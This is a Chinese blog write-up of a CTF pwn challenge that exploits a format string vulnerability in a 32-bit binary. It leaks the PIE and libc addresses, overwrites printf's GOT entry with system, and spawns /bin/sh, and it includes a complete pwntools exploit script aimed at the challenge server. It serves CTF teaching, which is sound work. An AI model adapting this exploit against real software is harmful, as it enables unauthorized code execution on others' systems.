【PWN】HappyNewYearCTF_11_格式化字符串漏洞

手把手教你用STM32CubeMX和HAL库驱动DW3000:从SPI配置到第一个测距Demo 本文详细介绍了如何使用STM32CubeMX和HAL库驱动DW3000 UWB定位通信模块,从SPI配置到实现厘米级测距Demo的全过程。涵盖硬件连接、SPI通信调试、驱动移植及双向测距(TWR)算法实现,帮助开发者快速掌握UWB高精度定位技术,适用于仓储物流、智能家居等场景。 阅读详情

HappyNewYearCTF_11_格式化字符串漏洞

题目地址:https://ctf.cssec.cc/games/25/challenges

Author: Sonder

Difficulty: Normal

Category: 格式化字符串漏洞


  1. 格式化字符串漏洞泄露函数
  2. 格式化字符串漏洞更改got表

分析

首先还是checksec,可以看到是一个32位程序,并且开启了canary,以及PIE。由于开启了 canary,传统栈溢出难以利用;而 PIE 会导致程序地址随机化,因此更适合从格式化字符串漏洞入手进行信息泄露与任意写。

在本题中RELRO为Partial RELRO,所以可以尝试去写入劫持got表。

接下来IDA反编译来看下。

格式化字符串

在本题中,存在printf,其内容是我们可控的,那就引出了格式化字符串漏洞,在这里,我们可以通过字符串format,来控制程序泄露或者写入一些数据。

%d - 十进制 - 输出signed int
%u - 十进制 - 输出unsigned int 
%x - 十六进制 - 输出十六进制数
%p - 指针 - 指针地址

%3c - 字符 - 输出3个字符(长度为3)

%s - 字符串 - 从内存中读取字符串

%n - 到目前为止所写的字符数
%hn - 写入两字节
%hhn - 写入一字节

%3$x - 指定位置的参数,%3表示第三个参数,$x表示以16进制输出
函数基本介绍
printf输出到 stdout
fprintf输出到指定 FILE 流
vprintf根据参数列表格式化输出到 stdout
vfprintf根据参数列表格式化输出到指定 FILE 流
sprintf输出到字符串
snprintf输出指定字节数到字符串
vsprintf根据参数列表格式化输出到字符串
vsnprintf根据参数列表格式化输出指定字节到字符串
setproctitle设置 argv
syslog输出日志
err, verr, warn, vwarn 等。。。

格式化字符串泄露栈上内容

按照之前讲解,我们需要通过如下几步

  1. 确定参数偏移,泄露栈上内容
  2. 泄露程序基地址
  3. 计算printf@got地址
  4. 泄露printf@got地址
  5. 计算system地址
  6. 将system地址写入printf@got
  7. 重新调用printf(实际为system),并输入/bin/sh

1. 确定参数偏移,泄露栈上内容

我们一步一步来,首先先来确认栈上内容位置, 通过泄露栈上所有数据,进而找到AAAA的地址位置。

# %p - 指针 - 指针地址
AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

如上图,可以看到位置大概在第7个位置, 接下来测试验证一下,可见确实是第七位。

AAAA %7$p

2. 泄露程序基地址

接下来我们需要泄露程序基地址,首先通过gdb来进行调试看下,当前程序printf时栈布局是怎样。

# printf打断点
pwndbg> bp printf

如下,可以看到栈中存在dofunc两个地址,其中第三个可以被泄露出来,即dofunc+41,通过其我们可以计算出程序基地址。

加载二进制文件,获取到程序dofunc地址,然后结合泄露出来的dofunc+41,我们可以获取到程序的基地址,计算代码如下。

FILENAME = "./attachment"
elf = ELF(FILENAME, checksec=False)   

# 泄露dofunc+41地址,计算程序基地址
exp = b'%3$p'
r.recvuntil(b'input:\n')
r.sendline(exp)

addr_dofunc_41 = int(r.recv(10), 16)
print("addr_dofunc_41",hex(addr_dofunc_41))
pie_base = addr_dofunc_41 - (elf.sym["dofunc"] + 41)
log.success(f"PIE base = {hex(pie_base)}")

3. 计算printf@got地址

已有程序基地址,那我们就可以来计算printf@got了,首先先获取一下其ELF文件内偏移。

.got.plt:00004010 off_4010        dd offset printf        ; DATA XREF: _printf+4↑r

动态地址也很好获取,其实就是程序基地址 + 偏移地址,即

printf_got = pie_base + 0x4010

4. 泄露printf真实地址

有了printf@got地址,那我们便可以获取printf的真实地址了,之前有提到过,我们可以通过%s获取当前地址内的数据,那根据我们之前第一步已知的输出到栈的位置,就可以构造并获取printf真实地址了。

exp = b'%8$s'
exp += p32(printf_got)

r.recvuntil(b'input:\n')
r.sendline(exp)

addr_printf_got = u32(r.recv(4))

log.success(f"printf_got = {hex(printf_got)}")
log.success(f"addr_printf_got = {hex(addr_printf_got)}")

5. 计算system地址

同理,我们根据printf真实地址,以及已知的libc文件,进行system地址的计算。

在这里,我们可以通过libc.address,指定libc真实基地址后,就可以通过 libc.sym["system"]直接获取system的真实地址。

libc = ELF("./libc.so.6", checksec=False)
libc.address = addr_printf_got - libc.sym["printf"]
log.success("libc base = " + hex(libc.address))

addr_system = libc.sym["system"]
log.success(f"addr_system = {hex(addr_system)}")

6. 将system地址写入printf@got

这里我们介绍两种方案,首先先从手动利用开始说起,然后再介绍pwntools的fmtstr_payload功能。

方案一、手动计算并利用

在这里,我们利用%hn,也就是写入2字节,因为32位架构下,实际一个地址是4字节,故我们需要将地址拆成两部分。然后再写入。

  1. 构造高低位地址
  2. 写入需要写入的地址,此时按照我们第一部分获取到的偏移,该数据应该是分别在%7、%8位置。
  3. 写入数据,此时low-8是因为前面我们已经有8个字节了,同理high-low也一样的。
low  = addr_system & 0xffff
high = (addr_system >> 16) & 0xffff

exp  = p32(printf_got)
exp += p32(printf_got + 2)

exp += f"%{low - 8}c%7$hn".encode()
exp += f"%{(high - low) & 0xffff}c%8$hn".encode()
print(hex(low))
print(hex(high))
方案二、fmtstr_payload

Pwntools作为神器,为了方便我们使用,其实也将该功能做了封装。

使用也很简单,我们只需传入数据偏移,以及需要修改的位置、要修改的内容即可。

具体代码如下,其完全等价于我们方案一的操作。

offset = 7
exp = fmtstr_payload(
    offset,
    { printf_got: addr_system },
    write_size='short'   
)

注意:使用 fmtstr_payload 时需确保 context.arch 与目标程序一致,否则可能生成错误的 payload。

7. GetShell

通过前面的步骤,至此我们已经将printf替换为了system,那我们便可以直接执行/bin/sh进而获取shell了。

# 执行system('/bin/sh')
r.recvuntil(b'input:\n')
r.sendline(b'/bin/sh')

漏洞利用

最终代码如下:

from pwn import *

# =======================
# 基础环境配置
# =======================

context.terminal = ['tmux', 'splitw', '-h']
# context.log_level = 'debug'

IS_REMOTE = False
HOST = 'challenges.ctf.cssec.cc'
PORT = 32807
FILENAME = "./attachment"

elf = ELF(FILENAME, checksec=False)   
context.binary = elf 

if IS_REMOTE:
    r = remote(HOST, PORT)
    libc = ELF("./libc.so.6", checksec=False)
    
else:
    r = process(FILENAME)
    libc = ELF("/lib32/libc.so.6", checksec=False)

# gdb.attach(r, gdbscript='''
# b printf
# c
# ''')


# 泄露dofunc+41地址,计算程序基地址
exp = b'%3$p'
r.recvuntil(b'input:\n')
r.sendline(exp)

addr_dofunc_41 = int(r.recv(10), 16)
print("addr_dofunc_41",hex(addr_dofunc_41))
pie_base = addr_dofunc_41 - (elf.sym["dofunc"] + 41)
log.success(f"PIE base = {hex(pie_base)}")

# 泄露printf_got地址 & 计算system地址
printf_got = 0x4010 + pie_base
exp = b'%8$s'
exp += p32(printf_got)

r.recvuntil(b'input:\n')
r.sendline(exp)

addr_printf_got = u32(r.recv(4))

log.success(f"printf_got = {hex(printf_got)}")
log.success(f"addr_printf_got = {hex(addr_printf_got)}")


libc.address = addr_printf_got - libc.sym["printf"]
log.success("libc base = " + hex(libc.address))

addr_system = libc.sym["system"]
log.success(f"addr_system = {hex(addr_system)}")

# 将system地址写入printf@got

# low  = addr_system & 0xffff
# high = (addr_system >> 16) & 0xffff

# exp  = p32(printf_got)
# exp += p32(printf_got + 2)

# exp += f"%{low - 8}c%7$hn".encode()
# exp += f"%{(high - low) & 0xffff}c%8$hn".encode()
# print(hex(low))
# print(hex(high))

# fmtstr_payload
offset = 7

exp = fmtstr_payload(
    offset,
    { printf_got: addr_system },
    write_size='short'   # 用 %hn,最稳
)

r.recvuntil(b'input:\n')
r.sendline(exp)

# 执行system('/bin/sh')
r.recvuntil(b'input:\n')
r.sendline(b'/bin/sh')


r.interactive()


参考资料

  • yichen的信安知识库 - 格式化字符串漏洞:https://www.yuque.com/hxfqg9/bin/aedgn4
  • CTFWiki - Format String -> 利用:https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit
  • 长亭科技 - PWN题格式化字符串漏洞介绍:https://www.bilibili.com/video/BV1Xa4y1s7FP
线性分类器(Linear Classifier) 线性分类器 如上图所示,这是二维空间中的一个数据集,如果他正好能够被一条直线分成两类,那么我们称它为线性可分数据集,这条直线就是一个线性分类器。 在三维空间中,如果数据集线性可分,是指能够被一个平面分为两类。 在一维空间中,所有的点都在一条直线上,如果线性可分。可以理解为它们能够被一个点分开。 这里的直线、平面、点被分为决策边界。 一个 m 维空间中的数据集,如果能够被一个超平面一分为二,那么这个数据集就是线性可分的,这个超平面就是决策边界。 例如,这是二维平面上的一条直线, 它可以把平面切分成两 阅读详情

相关推荐

PVE(Proxmox VE)添加VMware Esxi并迁移虚拟机

跨平台迁移虚拟机:从VMware虚拟化平台迁移虚拟机到PVE平台。

VEGETA的博客 7718

【PWN】HappyNewYearCTF_完结篇

文章本质上是一次从 0 到进阶的 PWN 系统性实战总结,以栈溢出基础格式化字符串漏洞(泄露 + 写内存)Canary 机制的泄露、绕过、爆破GOT 覆写、劫持调试方法与 pwntools 实战技巧多个真实“踩坑点”的经验总结整体学习路线非常清晰:👉从“能溢出” → “能控 EIP/RIP” → “绕过防护” → “稳定 getshell”栈用于保存:局部变量saved EBP返回地址(EIP / RIP)不安全函数:getsread覆盖返回地址。

675

lammps建模(电解液)opls-aa力场的基本流程

lammps建模(电解液)opls-aa力场的基本流程

syj0922的博客 2134

【PWN】HappyNewYearCTF_14_覆写stack_chk_fail

在做本题时,相比较之前11中的格式刷字符串漏洞,其实简单了很多,毕竟我们无需泄露libc中地址信息,并且无PIE,那直接改即可。继续分析代码,发现存在printf格式化字符串漏洞,以及一个后门backdoor。题目地址:https://ctf.cssec.cc/games/25/challenges。此时仅有printf格式化字符串漏洞,那我们便只能利用格式化字符串进行内容写入。还是老规矩,确认一下栈上输出信息偏移,本题为64位程序,所以此处8个A。获取到偏移位数为6,我们再来验证一下,可见偏移没问题。

364

零基础学GPU KMD--8. 内存管理:GPU 显存与系统内存的协同​8.1 显存分配策略:GEM / TTM 原理

支持 VRAM、GTT(Graphics Translation Table)、SYSTEM 内存的动态迁移与缓存管理。:若缓冲区在 SYSTEM,TTM 分配 GTT 条目并建立页表映射,使 GPU 可直接访问。:系统内存中预留给 GPU 直接访问的区域,通过 GPU 的 MMU 做地址翻译。你需要我继续展开这一部分吗?​ 为复杂离散 GPU 设计,应对大容量 VRAM、多内存域、显存迁移等问题。:重量级、功能全,适合大容量、多内存域的离散 GPU,强调显存迁移与统一管理。

amy_mhd的博客 185

python ERA-5气象数据NetCDF格式解析(一)

python ERA-5气象数据NetCDF格式解析

weixin_43896283的博客 2638

理解 Linux 动态库加载:LD_LIBRARY_PATH

flyfish

二分掌柜的 382

Vue+OpenLayers7入门到实战目录,OpenLayers7中文文档,OpenLayers7中文手册,OpenLayers7中文教程,OpenLayers7文档pdf

本篇作为《Vue+OpenLayers7入门到实战》所有文章的二合一汇总目录,方便查找。本专栏源码是由OpenLayers7.x版本结合Vue框架编写。本专栏从Vue搭建脚手架到如何引入OpenLayers7依赖的每一步详细新手教程,再到通过各种入门案例和综合性的实战案例,带领大家快速上手Vue+OpenLayers7开发。

GIS技术方向,GIS地图技术分享(GIS入门、Openlayers教程、Leaflet教程),做最好的GIS地图开发教程。关注博主公众号:eguid 3973

Linux-iostat命令详解

Linux命令学习记录

m0xin的博客 130

多智能体系统在军事仿真中的应用:AI人工智能战略推演

本文旨在全面解析多智能体系统在军事仿真领域的应用技术,重点探讨AI驱动的战略推演系统的设计原理和实现方法。研究范围涵盖从基础理论到实际应用的完整技术栈。本文采用从理论到实践的递进结构,首先介绍核心概念,然后深入算法实现,最后展示实际应用案例和未来展望。多智能体系统(MAS):由多个相互作用的智能体组成的分布式系统军事仿真(Military Simulation):通过计算机模拟军事行动和战争场景战略推演(Strategic Wargaming):通过模拟推演评估军事战略的有效性更高保真度的仿真。

AI天才研究院 1777

把 ABAP 选择屏幕 Selection Screen 打造成可维护的交互面板:常用屏幕元素与动态控制全解析

本文详细介绍了ABAP报表中Selection Screen的设计技巧,包括空行(SKIP)、横线(ULINE)、注释(COMMENT)等基础元素的使用方法,以及如何通过MODIF ID实现动态界面调整。重点讲解了行内布局(BEGIN OF LINE)、按钮(PUSHBUTTON)和区块(BLOCK)等高级功能,帮助开发者将选择屏幕从"能用"提升到"好用、易扩展、可维护"的水平。文章还分享了项目实践中的命名规范和分组策略,特别适合需要优化ABAP报表用户体验的开发人员

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 332

USB 技术系列 11 · USB Linux 驱动框架

本文系统解析Linux USB驱动框架,涵盖USB Core、HCD(xhci-hcd/dwc3)、类驱动(CDC/HID/Mass Storage)分层架构,详解usb_device_id匹配、probe/disconnect生命周期及Device Tree配置。结合RISC-V N300实战,揭示Host/Device双模式驱动开发核心逻辑,助力嵌入式BSP开发者掌握USB子系统全栈能力。

peter_pan_study的博客 262

NVIDIA Isaac ROS - 入门教程(一)

欢迎访问 Isaac ROS,这是一套硬件加速、高性能、低延迟的 ROS 2 软件包,用于制造自主机器人,充分利用 Jetson 和其他英伟达平台的强大功能。英伟达 Jetson 平台运行在基于 Ubuntu Linux 的 JetPack 操作系统上。JetPack 5.x 是在 Ubuntu 20.04 Focal 的基础上构建的,这意味着由 ROS 2 Buildfarm 为 Ubuntu 22.04 Jammy 构建的 ROS 2 Humble 的 Debian 包不受支持。由于官方 ROS 2 B

机器人控制与仿真应用 5722

Linux 服务器性能排查手册(2026):CPU、内存、磁盘IO、网络四大瓶颈定位

iptables 四表五链模型、firewalld zone 信任级别、云安全组与主机防火墙的关系与优先级,避坑改了防火墙把自己挡在服务器外面的翻车事故。

2502_91473995的博客 333

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

Linux rm 误删文件恢复实操教程

Linux使用rm删除文件时,并不会直接抹除磁盘上的数据,只是移除文件索引,让系统不再识别这块空间。只要没有写入新数据,原有扇区内容就会保留。新文件写入才有可能覆盖这些区域,一旦覆盖就很难找回。恢复的本质就是扫描磁盘,找到这些还存在、但索引丢失的数据条目,再把它们导出保存到其他分区。越早停止写入,恢复成功的概率越高。

海天数据恢复-winhex数据恢复教程 236

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

Windows/Linux下强实时运动控制内核(二):基于Qt的Delta机械手的开发应用

强实时运动控制内核MotionRT750下Qt开发Delta机械手的完整开发流程。

weixin_57350300的博客 243

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

嵌入式 Linux OOM Killer 触发逻辑与防误杀实战指南

本文深入解析嵌入式 Linux 下 OOM Killer 的触发机制,结合工业网关真实工程场景,提供从日志排查、内核参数调优到关键进程保护的完整落地方案,解决核心进程被误杀导致的业务中断问题。

嵌入式扫地僧 394

Linux epoll 一篇讲透:从 select/poll 到红黑树、LT/ET,再到完整 TCP 服务器

一万个客户端已经连上服务器,眼下只有十个客户端发来了数据。服务器怎样把时间花在这十个连接上?理解这个问题,就抓住了 epoll 的主线。接下来,我们沿着“为什么需要它 → 接口怎么用 → 内核如何实现 → LT/ET 怎么写 → 完整服务器怎么运行”的顺序,把知识连起来。**阅读基础:**了解socketbindlistenaccept的基本用途即可。本文示例面向 Linux,服务器使用 C++17,实验脚本使用 Python 3。

2601_94861874的博客 205

Linux 网络基础详解:IP、子网、路由与 ip、ss 命令实战

建库建表、增删改查、连接查询(内连左连右连)、聚合函数、权限控制 GRANT/REVOKE,每条命令配可运行示例,零基础也能跟着敲会 SQL 基础。

2502_91473995的博客 617

Linux、Shell、MySQL 测试卷逐题细讲(下篇:MySQL)

本文为Linux、Shell、MySQL测试卷下半段MySQL部分逐题讲解,包含填空、选择与SQL分析三类题型。填空题覆盖COUNT、HAVING、DISTINCT、事务、约束、索引等核心语法;选择题辨析存储过程、索引类型、ACID、存储引擎、用户管理等考点。SQL大题围绕员工、部门、职位、地点四张关联表,考察多表连接、分组聚合、自连接、相关子查询、NULL处理等高频写法,标注LEFT JOIN统计计数、NULL判断、子查询别名等易错坑点,同时梳理试卷OCR识别带来的干扰问题,重点提示SQL实操中的常见失误

dongziwen1的博客 185

深入浅出聊聊 Linux 的 PageCache 与系统极致性能

本文深入浅出解析了 Linux PageCache 的核心机制,揭示其如何通过“延迟写、预读读”提升系统性能。以监控告警为切入点,阐明 free -h 中 buff/cache 并非真正占用,真正可用内存由 available 决定。结合 Kafka、Elasticsearch、MySQL 等实战场景,说明中间件如何依赖 PageCache 实现极致性能。强调不可手动清理缓存,并建议合理调优脏页参数,避免卡顿。最终指出:内存满≠危机,而是系统高效运行的体现。

小小默:进无止境 486

Linux 下 OpenCode 接入自定义大模型 API 教程:以 DeepSeek-V4.1-Flash-1017 为例

本文介绍在Linux下通过Python脚本配置OpenCode接入自定义大模型API(以DeepSeek-V4.1-Flash-1017为例),实现永久化、非侵入式配置。通过修改~/.config/opencode/opencode.json文件,添加OpenAI兼容服务商BLSC,注册模型并设置APIKey。支持命令行测试、默认模型设定及安全权限控制,操作简单且不影响原有配置。适用于各类支持OpenAI接口的自定义模型服务,提升开发灵活性与安全性。

qq_15060477的博客 137

【Linux 命令实战(06):Linux 文件权限管理,掌握 chmod、chown、chgrp】

chmod:修改文件和目录权限。chown:修改文件所有者,也可以修改所属用户组。chgrp:修改文件所属用户组。r:读取。w:写入。x:执行,对于目录则表示进入和访问能力。ugo:分别代表所有者、所属组和其他用户。我认为,权限管理最重要的不是记住755644这些数字,而是先弄清楚谁需要访问文件、需要执行什么操作,再给出恰当的权限。尤其是在测试服务器和生产服务器上,不要为了图方便直接使用chmod 777。权限开放得越大,并不代表问题解决得越好。

一些微不足道的见解、希望能帮助各位 338

【Linux 命令实战(02):文件与目录操作,掌握 pwd、ls、cd 三个核心命令】

命令作用cd /进入根目录cd ~进入当前用户家目录cd返回当前用户家目录cd …返回上一级目录cd …/…返回上两级目录cd -返回上一次所在目录进入指定目录命令核心用途常用参数pwd查看当前目录-L、-Pls查看文件和目录cd切换目录…、~、-Linux 文件系统的基本结构。绝对路径与相对路径的区别。Tab 自动补全。Shell 通配符。使用&&组合命令。这篇文章主要解决的是如何在 Linux 文件系统中快速定位目录。

一些微不足道的见解、希望能帮助各位 211

Linux篇(五)

本文系统梳理了Linux常用终端快捷键、软件包管理(yum/apt)、服务管理(systemctl)、软链接(ln)、时间与IP配置、域名解析、固定IP设置及网络命令(ping/wget/curl),涵盖日常运维核心操作,助力高效管理Linux环境。

wykyzdq的博客 205

Linux的渲染与显示系统链路

Linux渲染与显示链路核心为DRM/KMS + EGL直连模式,绕过传统X11/Wayland中间层,实现低延迟、高效率的直接帧提交。相比X11的粗粒度权限控制与Wayland的合成开销,该方案链路短、资源消耗低,但仅支持单进程独占显示,缺乏窗口管理与系统级兜底。EGL作为跨平台桥梁,连接OpenGL ES与原生显示系统,通过Display、Surface、Context三要素构建渲染环境。内核层DRM管理GPU资源,KMS配置显示模式,用户态GDM负责登录会话,共同构成从硬件到应用的完整图形栈。

微小的鱼的博客 430
上一篇: 【PWN 】格式化字符串漏洞(Format String)总结
下一篇: 【PWN】HappyNewYearCTF_12_泄露canary
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值